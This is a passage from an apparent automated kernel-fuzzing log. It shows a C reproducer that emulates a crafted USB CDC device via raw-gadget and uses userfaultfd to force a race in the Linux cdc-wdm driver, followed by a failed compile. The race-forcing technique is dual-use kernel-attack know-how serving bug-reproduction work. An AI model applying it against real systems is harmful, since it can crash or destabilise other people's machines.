sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 131/3 |
2026/09/11 22:27 |
loop |
|
2m
|
| 132/4 |
2026/09/11 22:27 |
iteration |
0 |
1m
|
| 133/5 |
2026/09/11 22:27 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 134/5 |
2026/09/11 22:28 |
action |
compile-c-prog |
0m
Results: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:215:12: error: initializer element is not constant
<stdin>:215:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:220:14: error: initializer element is not constant
<stdin>:220:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:221:15: error: initializer element is not constant
<stdin>:221:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:222:15: error: initializer element is not constant
<stdin>:222:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:245:19: error: initializer element is not constant
<stdin>:245:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:267:13: error: initializer element is not constant
<stdin>:267:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:274:21: error: initializer element is not constant
<stdin>:274:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor199630447 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]
|
| 135/5 |
2026/09/11 22:28 |
action |
If |
1m
Args: map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
